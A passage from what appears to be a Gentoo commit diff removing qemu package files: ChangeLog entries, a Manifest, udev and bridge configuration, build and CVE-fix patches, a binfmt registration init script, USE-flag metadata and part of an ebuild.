-files/qemu-2.6.0-crypto-static.patch, -files/qemu-2.6.0-glib-size_t.patch:
drop obsolete patches
Package-Manager: portage-2.2.28
05 Sep 2016; Matthias Maier <tamiko@gentoo.org> qemu-2.7.0.ebuild:
fix installation with USE=python, bug #592908
Package-Manager: portage-2.2.28
05 Sep 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.7.0.ebuild:
amd64 stable wrt bug #592430
Package-Manager: portage-2.2.28
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
05 Sep 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.7.0.ebuild:
x86 stable wrt bug #592430
Package-Manager: portage-2.2.28
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
05 Sep 2016; Matthias Maier <tamiko@gentoo.org>
-files/qemu-2.5.0-CVE-2015-8558.patch,
-files/qemu-2.5.0-CVE-2016-2198.patch,
-files/qemu-2.5.0-rng-stack-corrupt-0.patch,
-files/qemu-2.5.0-rng-stack-corrupt-1.patch,
-files/qemu-2.5.0-rng-stack-corrupt-2.patch,
-files/qemu-2.5.0-rng-stack-corrupt-3.patch,
-files/qemu-2.5.1-CVE-2015-8558.patch,
-files/qemu-2.5.1-CVE-2016-4020.patch,
-files/qemu-2.5.1-stellaris_enet-overflow.patch,
-files/qemu-2.5.1-xfs-linux-headers.patch, -qemu-2.5.1.ebuild:
drop vulnerable 2.5.1, bug #592430, and 19 others
Package-Manager: portage-2.2.28

View File

@ -1,12 +0,0 @@
AUX 65-kvm.rules 40 SHA256 c16a8dc7855880b2651f1a3ff488ecc54d4ac1036c71fffd5007021d8d18a7c5 SHA512 98aad2a2f212a7ac0ee5b60a9c92744fa462bce5f26594845c7a31d692aaaca2d52cb57bdbede7dfc60b9862c2a6510665dbb03215d5cf76e62516a283decdd6 WHIRLPOOL 937de93a23930f6b8533f0c3e0dd249c99ddf7d54446dea857607266ac0a4b435c5b4a52b2986b138bace9c0a7ade66f94116b38e2bc4767ead54bd11baf0920
AUX bridge.conf 454 SHA256 a51850dd39923f3482e4c575b48ad9fef9c9ebb2f2176225da399b79ce48c69d SHA512 a907ee86b81a1b61033bb7621ded65112504131ef7b698c53e4014b958ee6fc79e66f63069015a01e41362cb70a7d0ed26dd9a03033cf776f4846f0e1f8f1533 WHIRLPOOL 8fcbd4abf9b8f7ca3d16fe0eaf17196ebf708dfecf85ce0f020e0de22b64905114f7b310f361826c81bb961c6b1bbbf984bff1e595bb949993b8966ccb222c35
AUX qemu-2.5.0-cflags.patch 410 SHA256 17f5624dd733f5c80e733cc67ae36a736169ec066024dbf802b416accfed0755 SHA512 0194d28de08b4e51c5bd1c9a2cc7965ba7f66dfddb8fd91de3da93677e6cf2d38ad3270f69aaea8a20cf2533c2980018d6e0fed711be2806fe2053fba7c081f3 WHIRLPOOL 5f5b95d00409fbe03adb64801d30a2fb5f98dded5efa7f0e78b5746776f72917dcbea767e1d0afcb304d8bf8c484adedb8037e6d54e9d34997c2bc3a98b53154
AUX qemu-2.5.0-sysmacros.patch 333 SHA256 a5716fc02da383d455f5cbd76f49e4ee74d84c2d5703319adcbeb145d04875f9 SHA512 329632c5bff846ca3ffcdb4bc94ae62f17c6bdbb566f9bec0784357c943523e8ca7773790b83a9617734cab3b003baa3d636cbd08f7385810a63b0fa0383c4f0 WHIRLPOOL 2a774767d4685545d3ed18e4f5dece99a9007597d73c56197652ff24083550f987ffb69e5c624760dece87def71a7c5c22a694bf999d7309e48ef622f18f0d73
AUX qemu-2.7.0-CVE-2016-6836.patch 889 SHA256 a94812131e8baa66b81971579ab84b20bf15d544e2698448a5247ac0ddca0b3d SHA512 cf7f327f26aee5b6688eb662ced8aa07775ad9558b4a02db244303f6b7d37be9cd19b18d5725819b4708184105b98830864e0ad3af81373e59e880809036345b WHIRLPOOL df00627ad447162fdcac4b2c965a8cb5c916a7fb66d8c3a4f8f48bb2d869d7805cb3308cd495ff74ebf4840e7bc2d85abf8e666d78b3da9abb4e2bae22697a82
AUX qemu-binfmt.initd-r1 7966 SHA256 5b4b432aa1e44f387c9eb789de0ec6322741fd36dd241f76520f17c6cd6ac49b SHA512 2ba0bff6eb2b6bac4ed440f793771ce9551cad48e38bddb6cf04f804faac2407e80879f66771910344ddcea45f0014095dcc8bfeb0aad5085ef048fd3612dbd8 WHIRLPOOL a2a1fb830a970757d1e203378c7d382b161b1040f3b8aaf0f22bb3b5e46467eff395474ff40d93c9f133bab307b345a6f75d63eae9f8dd8daf67324db41032f9
DIST qemu-2.7.0.tar.bz2 26867760 SHA256 326e739506ba690daf69fc17bd3913a6c313d9928d743bd8eddb82f403f81e53 SHA512 654acaa7b3724a288e5d7e2a26ab780d9c9ed9f647fba00a906cbaffbe9d58fd666f2d962514aa2c5b391b4c53811ac3170d2eb51727f090bd19dfe45ca9a9db WHIRLPOOL dcb3e5f7da89dd8e14d636d7ebd476e076e0043880bb9ea3fb1c03cb4bcd4e5c7d3c4719da26c3ce521e3a3db5ae671e86f198ac1bc3474e774d75504fef8b8d
EBUILD qemu-2.7.0.ebuild 20516 SHA256 987648bd2fd0f1ebf45493698ec2b9ed2e16d6abb38fd48eb793ef3b6d55c55b SHA512 bf0cd8fa256036002771d3e5476970d50ffc6b86c8b6a9b5a0048c4ac992b816fb5585d2fd1485b3adda3a55737b32e8e1f07bcea4200d3bac0a9ac98840e181 WHIRLPOOL 3f9b559d60a933339a52de83004632bdfc8c45285013cef86a5f99fe580eafa7443ea5cae9399b54865bb05bc1007492575f98ac109b2a17d37d10d44d8874bf
EBUILD qemu-9999.ebuild 20465 SHA256 0722782a27bbb312bc9bede6a556fd6f086e6c056cb4b8b197e3ec8c10801945 SHA512 3f5130a9cffb1cdf7460693e777c82ec289649ba74367417f1a865f7231a976de234b2be5c2882eeb358d1aecb2e59f3ddf8bd28a66be17bea4ef58b122564ae WHIRLPOOL a009c51c5f08c6e9ee89467b47eef435fd68b97c3e253a300662cf476f119ad4c96911040a72570d1f2aef3d44128b0c5544008918764430e0f9f0dde94b16ad
MISC ChangeLog 28480 SHA256 20cb806ded220afccc77c70ce040291665a4325b627cdc0f975f66919006aedb SHA512 93aa1616116d1d5e0456e14c86773373a65febd9128e72400ffeb7db5ee4721ceba0dc53607d86435049cbd910846b4197f2b15b00f39de601efaa6c90d8b9f3 WHIRLPOOL a54f9b7c1260a190174240edae87e47b7b9f39a51e8f1d03917748b2ea82e2e0721fb142cc7b33ce54e285deb8e4ba3fc483ab0c912f4ae28d3280777d9588f3
MISC ChangeLog-2015 58193 SHA256 60c1a4f4c85515520ab14da920bbbf4a6813491ce16b5357a0456ea588815a5c SHA512 ddfe8e75aabe59b731a4a8b31839d8c71fd516620306d2bc99d7641cc501652974e053104caafa7550c5ad33b6834295f6743a98b9419d292b8bf6f67918ccd3 WHIRLPOOL a6841f79c3ba1cbf76a8c7fde296a2912c46ddd251494dca3bf3bc13391c80595b6f80125c383823899942248008ede7065b0f5c8e43f9bc1d0464aa62cc187f
MISC metadata.xml 3925 SHA256 d1c219b7da0cbf77919cd1e055acbb3f6788a574fd802c98a43c89a411697b36 SHA512 3ff45d1c8ede12b4eedc7d01f39777b76a1cbd0ba9364299dec99d4b4a05cade5784d6f6e50197d5b5ae1f1b8e831c49da195eb53263c49b7d16aec8ee28b6e6 WHIRLPOOL bc25783fac0f3f13318834cc535404af9af20de16c7aeec222e59dc2ed7740ac5e767b329a5bcd6356d0cbae2428e278515f1446aa8ecb87a873bf4dbe04bf41

View File

@ -1 +0,0 @@
KERNEL=="kvm", GROUP="kvm", MODE="0660"

View File

@ -1,14 +0,0 @@
# This should have the following permissions: root:qemu 0640
# allow br0
# Uncommenting the above would allow users in the 'qemu' group
# to add devices to 'br0'
# allow virbr0
# Uncommenting the above would allow users in the 'qemu' group
# to add devices to 'virbr0'
# include /etc/qemu/bob.conf
# Uncommenting the above would allow users in the 'bob' group
# to have permissions defined in it, iff it has the following
# permissions: root:bob 0640

View File

@ -1,13 +0,0 @@
--- a/configure
+++ b/configure
@@ -4468,10 +4468,6 @@ fi
if test "$gcov" = "yes" ; then
CFLAGS="-fprofile-arcs -ftest-coverage -g $CFLAGS"
LDFLAGS="-fprofile-arcs -ftest-coverage $LDFLAGS"
-elif test "$fortify_source" = "yes" ; then
- CFLAGS="-O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 $CFLAGS"
-elif test "$debug" = "no"; then
- CFLAGS="-O2 $CFLAGS"
fi
##########################################

View File

@ -1,15 +0,0 @@
Linux C libs are moving away from implicit header pollution with sys/types.h
--- a/include/qemu/osdep.h
+++ b/include/qemu/osdep.h
@@ -78,6 +78,10 @@ extern int daemon(int, int);
#include <assert.h>
#include <signal.h>
+#ifdef __linux__
+#include <sys/sysmacros.h>
+#endif
+
#ifdef __OpenBSD__
#include <sys/signal.h>
#endif

View File

@ -1,27 +0,0 @@
From: Li Qiang <address@hidden>
In Vmxnet3 device emulator while processing transmit(tx) queue,
when it reaches end of packet, it calls vmxnet3_complete_packet.
In that local 'txcq_descr' object is not initialised, which could
leak host memory bytes a guest.
Reported-by: Li Qiang <address@hidden>
Signed-off-by: Prasad J Pandit <address@hidden>
---
hw/net/vmxnet3.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/hw/net/vmxnet3.c b/hw/net/vmxnet3.c
index 90f6943..92f6af9 100644
--- a/hw/net/vmxnet3.c
+++ b/hw/net/vmxnet3.c
@@ -531,6 +531,7 @@ static void vmxnet3_complete_packet(VMXNET3State *s, int qidx, uint32_t tx_ridx)
VMXNET3_RING_DUMP(VMW_RIPRN, "TXC", qidx, &s->txq_descr[qidx].comp_ring);
+ memset(&txcq_descr, 0, sizeof(txcq_descr));
txcq_descr.txdIdx = tx_ridx;
txcq_descr.gen = vmxnet3_ring_curr_gen(&s->txq_descr[qidx].comp_ring);
--
2.5.5

View File

@ -1,139 +0,0 @@
#!/sbin/openrc-run
# Copyright 1999-2016 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Id$
# enable automatic i386/ARM/M68K/MIPS/SPARC/PPC/s390 program execution by the kernel
# Defaulting to OC should be safe because it comes down to:
# - do we trust the interp itself to not be malicious? yes; we built it.
# - do we trust the programs we're running? ish; same permission as native
# binaries apply. so if user can do bad stuff natively, cross isn't worse.
: ${QEMU_BINFMT_FLAGS:=OC}
depend() {
after procfs
}
start() {
ebegin "Registering qemu-user binaries (flags: ${QEMU_BINFMT_FLAGS})"
if [ ! -d /proc/sys/fs/binfmt_misc ] ; then
modprobe -q binfmt_misc
fi
if [ ! -d /proc/sys/fs/binfmt_misc ] ; then
eend $? "You need support for 'misc binaries' in your kernel!" || return
fi
if [ ! -f /proc/sys/fs/binfmt_misc/register ] ; then
mount -t binfmt_misc binfmt_misc /proc/sys/fs/binfmt_misc >/dev/null 2>&1
eend $? || return
fi
# probe cpu type
cpu=`uname -m`
case "$cpu" in
i386|i486|i586|i686|i86pc|BePC|x86_64)
cpu="i386"
;;
m68k)
cpu="m68k"
;;
mips*)
cpu="mips"
;;
"Power Macintosh"|ppc|ppc64)
cpu="ppc"
;;
armv[4-9]*)
cpu="arm"
;;
sparc*)
cpu="sparc"
;;
esac
# register the interpreter for each cpu except for the native one
if [ $cpu != "i386" -a -x "/usr/bin/qemu-i386" ] ; then
echo ':i386:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00:\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-i386:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
echo ':i486:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x06\x00:\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-i386:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "alpha" -a -x "/usr/bin/qemu-alpha" ] ; then
echo ':alpha:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x26\x90:\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-alpha:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "arm" -a -x "/usr/bin/qemu-arm" ] ; then
echo ':arm:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\x00\xff\xfe\xff\xff\xff:/usr/bin/qemu-arm:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "arm" -a -x "/usr/bin/qemu-armeb" ] ; then
echo ':armeb:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-armeb:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "aarch64" -a -x "/usr/bin/qemu-aarch64" ] ; then
echo ':aarch64:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xb7\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-aarch64:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "sparc" -a -x "/usr/bin/qemu-sparc" ] ; then
echo ':sparc:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x02:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-sparc:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "ppc" -a -x "/usr/bin/qemu-ppc" ] ; then
echo ':ppc:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-ppc:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "m68k" -a -x "/usr/bin/qemu-m68k" ] ; then
#echo 'Please check cpu value and header information for m68k!'
echo ':m68k:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x08:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-m68k:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "mips" -a -x "/usr/bin/qemu-mips" ] ; then
# FIXME: We could use the other endianness on a MIPS host.
echo ':mips:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-mips:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "mips" -a -x "/usr/bin/qemu-mipsel" ] ; then
echo ':mipsel:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-mipsel:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "mips" -a -x "/usr/bin/qemu-mipsn32" ] ; then
echo ':mipsn32:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-mipsn32:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "mips" -a -x "/usr/bin/qemu-mipsn32el" ] ; then
echo ':mipsn32el:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-mipsn32el:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "mips" -a -x "/usr/bin/qemu-mips64" ] ; then
echo ':mips64:M::\x7fELF\x02\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-mips64:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "mips" -a -x "/usr/bin/qemu-mips64el" ] ; then
echo ':mips64el:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-mips64el:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "sh" -a -x "/usr/bin/qemu-sh4" ] ; then
echo ':sh4:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2a\x00:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-sh4:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "sh" -a -x "/usr/bin/qemu-sh4eb" ] ; then
echo ':sh4eb:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2a:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-sh4eb:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "s390x" -a -x "/usr/bin/qemu-s390x" ] ; then
echo ':s390x:M::\x7fELF\x02\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x16:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-s390x:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
fi
eend $?
}
stop() {
ebegin "Unregistering qemu-user binaries"
local arches
arches="${arches} i386 i486"
arches="${arches} alpha"
arches="${arches} arm armeb"
arches="${arches} aarch64"
arches="${arches} sparc"
arches="${arches} ppc"
arches="${arches} m68k"
arches="${arches} mips mipsel mipsn32 mipsn32el mips64 mips64el"
arches="${arches} sh4 sh4eb"
arches="${arches} s390x"
for a in ${arches}; do
if [ -f /proc/sys/fs/binfmt_misc/$a ] ; then
echo '-1' > /proc/sys/fs/binfmt_misc/$a
fi
done
eend $?
}
# vim: ts=4 :

View File

@ -1,58 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
<pkgmetadata>
<maintainer type="project">
<email>qemu@gentoo.org</email>
<name>Gentoo QEMU Project</name>
</maintainer>
<use>
<flag name="accessibility">Adds support for braille displays using brltty</flag>
<flag name="aio">Enables support for Linux's Async IO</flag>
<flag name="alsa">Enable alsa output for sound emulation</flag>
<flag name="curl">Support ISOs / -cdrom directives vis HTTP or HTTPS.</flag>
<flag name="fdt">Enables firmware device tree support</flag>
<flag name="glusterfs">Enables GlusterFS cluster fileystem via
<pkg>sys-cluster/glusterfs</pkg></flag>
<flag name="gnutls">Enable TLS support for the VNC console server.
For 1.4 and newer this also enables WebSocket support.
For 2.0 through 2.3 also enables disk quorum support.</flag>
<flag name="gtk2">Use gtk-2 instead of gtk-3</flag>
<flag name="iscsi">Enable direct iSCSI support via
<pkg>net-libs/libiscsi</pkg> instead of indirectly via the Linux
block layer that <pkg>sys-block/open-iscsi</pkg> does.</flag>
<flag name="ncurses">Enable the ncurses-based console</flag>
<flag name="nfs">Enable NFS support</flag>
<flag name="numa">Enable NUMA support</flag>
<flag name="pin-upstream-blobs">Pin the versions of BIOS firmware to the version included in the upstream release.
This is needed to sanely support migration/suspend/resume/snapshotting/etc... of instances.
When the blobs are different, random corruption/bugs/crashes/etc... may be observed.</flag>
<flag name="pulseaudio">Enable pulseaudio output for sound emulation</flag>
<flag name="rbd">Enable rados block device backend support, see http://ceph.newdream.net/wiki/QEMU-RBD</flag>
<flag name="sdl">Enable the SDL-based console</flag>
<flag name="sdl2">Use libsdl2 instead of libsdl</flag>
<flag name="spice">Enable Spice protocol support via <pkg>app-emulation/spice</pkg></flag>
<flag name="ssh">Enable SSH based block device support via <pkg>net-libs/libssh2</pkg></flag>
<flag name="static-softmmu">Builds the Software MMU (system) targets as static binaries</flag>
<flag name="static-user">Build the User targets as static binaries</flag>
<flag name="static">Enables both 'static-softmmu' and 'static-user'</flag>
<flag name="snappy">Enable support for snappy compression</flag>
<flag name="systemtap">Enable SystemTAP/DTrace tracing</flag>
<flag name="tci">Enable the TCG Interpreter which can speed up or slowdown workloads depending on the host and guest CPUs being emulated. In the future it will be a runtime option but for now its compile time.</flag>
<flag name="jpeg">Enable jpeg image support for the VNC console server</flag>
<flag name="png">Enable png image support for the VNC console server</flag>
<flag name="usb">Enable USB passthrough via <pkg>dev-libs/libusb</pkg></flag>
<flag name="usbredir">Use <pkg>sys-apps/usbredir</pkg> to redirect USB devices to another machine over TCP</flag>
<flag name="uuid">Enable UUID support in the vdi block driver</flag>
<flag name="vde">Enable VDE-based networking</flag>
<flag name="vhost-net">Enable accelerated networking using vhost-net, see http://www.linux-kvm.org/page/VhostNet</flag>
<flag name="virgl">Enable experimental Virgil 3d (virtual software GPU)</flag>
<flag name="virtfs">Enable VirtFS via virtio-9p-pci / fsdev. See http://wiki.qemu.org/Documentation/9psetup</flag>
<flag name="vte">Enable terminal support (<pkg>x11-libs/vte</pkg>) in the GTK+ interface</flag>
<flag name="xattr">Add support for getting and setting POSIX extended attributes, through
<pkg>sys-apps/attr</pkg>. Requisite for the virtfs backend.
</flag>
<flag name="xen">Enables support for Xen backends</flag>
<flag name="xfs">Support xfsctl() notification and syncing for XFS backed
virtual disks.</flag>
</use>
</pkgmetadata>

View File

@ -1,678 +0,0 @@
# Copyright 1999-2016 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Id$
EAPI="5"
PYTHON_COMPAT=( python2_7 )
PYTHON_REQ_USE="ncurses,readline"
PLOCALES="bg de_DE fr_FR hu it tr zh_CN"
inherit eutils flag-o-matic linux-info toolchain-funcs multilib python-r1 \
user udev fcaps readme.gentoo pax-utils l10n
if [[ ${PV} = *9999* ]]; then
EGIT_REPO_URI="git://git.qemu.org/qemu.git"
inherit git-2
SRC_URI=""
else
SRC_URI="http://wiki.qemu-project.org/download/${P}.tar.bz2"
KEYWORDS="amd64 ~arm64 ~ppc ~ppc64 x86 ~x86-fbsd"
fi
DESCRIPTION="QEMU + Kernel-based Virtual Machine userland tools"
HOMEPAGE="http://www.qemu.org http://www.linux-kvm.org"
LICENSE="GPL-2 LGPL-2 BSD-2"
SLOT="0"
IUSE="accessibility +aio alsa bluetooth bzip2 +caps +curl debug +fdt glusterfs \
gnutls gtk gtk2 infiniband iscsi +jpeg \
kernel_linux kernel_FreeBSD lzo ncurses nfs nls numa opengl +pin-upstream-blobs
+png pulseaudio python \
rbd sasl +seccomp sdl sdl2 selinux smartcard snappy spice ssh static static-softmmu
static-user systemtap tci test +threads usb usbredir +uuid vde +vhost-net \
virgl virtfs +vnc vte xattr xen xfs"
COMMON_TARGETS="aarch64 alpha arm cris i386 m68k microblaze microblazeel mips
mips64 mips64el mipsel or32 ppc ppc64 s390x sh4 sh4eb sparc sparc64 unicore32
x86_64"
IUSE_SOFTMMU_TARGETS="${COMMON_TARGETS} lm32 moxie ppcemb tricore xtensa xtensaeb"
IUSE_USER_TARGETS="${COMMON_TARGETS} armeb mipsn32 mipsn32el ppc64abi32 ppc64le sparc32plus tilegx"
use_softmmu_targets=$(printf ' qemu_softmmu_targets_%s' ${IUSE_SOFTMMU_TARGETS})
use_user_targets=$(printf ' qemu_user_targets_%s' ${IUSE_USER_TARGETS})
IUSE+=" ${use_softmmu_targets} ${use_user_targets}"
# Allow no targets to be built so that people can get a tools-only build.
# Block USE flag configurations known to not work.
REQUIRED_USE="${PYTHON_REQUIRED_USE}
gtk2? ( gtk )
qemu_softmmu_targets_arm? ( fdt )
qemu_softmmu_targets_microblaze? ( fdt )
qemu_softmmu_targets_ppc? ( fdt )
qemu_softmmu_targets_ppc64? ( fdt )
sdl2? ( sdl )
static? ( static-softmmu static-user )
static-softmmu? ( !alsa !pulseaudio !bluetooth !opengl !gtk !gtk2 )
virtfs? ( xattr )
vte? ( gtk )"
# Yep, you need both libcap and libcap-ng since virtfs only uses libcap.
#
# The attr lib isn't always linked in (although the USE flag is always
# respected). This is because qemu supports using the C library's API
# when available rather than always using the extranl library.
#
# Older versions of gnutls are supported, but it's simpler to just require
# the latest versions. This is also why we require nettle.
#
# TODO: Split out tools deps into another var. e.g. bzip2 is only used by
# system binaries and tools, not user binaries.
COMMON_LIB_DEPEND=">=dev-libs/glib-2.0[static-libs(+)]
sys-libs/zlib[static-libs(+)]
bzip2? ( app-arch/bzip2[static-libs(+)] )
xattr? ( sys-apps/attr[static-libs(+)] )"
SOFTMMU_LIB_DEPEND="${COMMON_LIB_DEPEND}
>=x11-libs/pixman-0.28.0[static-libs(+)]
accessibility? ( app-accessibility/brltty[static-libs(+)] )
aio? ( dev-libs/libaio[static-libs(+)] )
alsa? ( >=media-libs/alsa-lib-1.0.13 )
bluetooth? ( net-wireless/bluez )
caps? ( sys-libs/libcap-ng[static-libs(+)] )
curl? ( >=net-misc/curl-7.15.4[static-libs(+)] )
fdt? ( >=sys-apps/dtc-1.4.0[static-libs(+)] )
glusterfs? ( >=sys-cluster/glusterfs-3.4.0[static-libs(+)] )
gnutls? (
dev-libs/nettle:=[static-libs(+)]
>=net-libs/gnutls-3.0:=[static-libs(+)]
)
gtk? (
gtk2? (
x11-libs/gtk+:2
vte? ( x11-libs/vte:0 )
)
!gtk2? (
x11-libs/gtk+:3
vte? ( x11-libs/vte:2.90 )
)
)
infiniband? ( sys-fabric/librdmacm:=[static-libs(+)] )
iscsi? ( net-libs/libiscsi )
jpeg? ( virtual/jpeg:0=[static-libs(+)] )
lzo? ( dev-libs/lzo:2[static-libs(+)] )
ncurses? ( sys-libs/ncurses:0=[static-libs(+)] )
nfs? ( >=net-fs/libnfs-1.9.3[static-libs(+)] )
numa? ( sys-process/numactl[static-libs(+)] )
opengl? (
virtual/opengl
media-libs/libepoxy[static-libs(+)]
media-libs/mesa[static-libs(+)]
media-libs/mesa[egl,gles2]
)
png? ( media-libs/libpng:0=[static-libs(+)] )
pulseaudio? ( media-sound/pulseaudio )
rbd? ( sys-cluster/ceph[static-libs(+)] )
sasl? ( dev-libs/cyrus-sasl[static-libs(+)] )
sdl? (
!sdl2? (
media-libs/libsdl[X]
>=media-libs/libsdl-1.2.11[static-libs(+)]
)
sdl2? (
media-libs/libsdl2[X]
media-libs/libsdl2[static-libs(+)]
)
)
seccomp? ( >=sys-libs/libseccomp-2.1.0[static-libs(+)] )
smartcard? ( >=app-emulation/libcacard-2.5.0[static-libs(+)] )
snappy? ( app-arch/snappy[static-libs(+)] )
spice? (
>=app-emulation/spice-protocol-0.12.3
>=app-emulation/spice-0.12.0[static-libs(+)]
)
ssh? ( >=net-libs/libssh2-1.2.8[static-libs(+)] )
usb? ( >=virtual/libusb-1-r2[static-libs(+)] )
usbredir? ( >=sys-apps/usbredir-0.6[static-libs(+)] )
uuid? ( >=sys-apps/util-linux-2.16.0[static-libs(+)] )
vde? ( net-misc/vde[static-libs(+)] )
virgl? ( media-libs/virglrenderer[static-libs(+)] )
virtfs? ( sys-libs/libcap )
xfs? ( sys-fs/xfsprogs[static-libs(+)] )"
USER_LIB_DEPEND="${COMMON_LIB_DEPEND}"
X86_FIRMWARE_DEPEND="
>=sys-firmware/ipxe-1.0.0_p20130624
pin-upstream-blobs? (
~sys-firmware/seabios-1.8.2
~sys-firmware/sgabios-0.1_pre8
~sys-firmware/vgabios-0.7a
)
!pin-upstream-blobs? (
sys-firmware/seabios
sys-firmware/sgabios
sys-firmware/vgabios
)"
CDEPEND="
!static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND//\[static-libs(+)]} ) " ${use_softmmu_targets}) )
!static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND//\[static-libs(+)]} ) " ${use_user_targets}) )
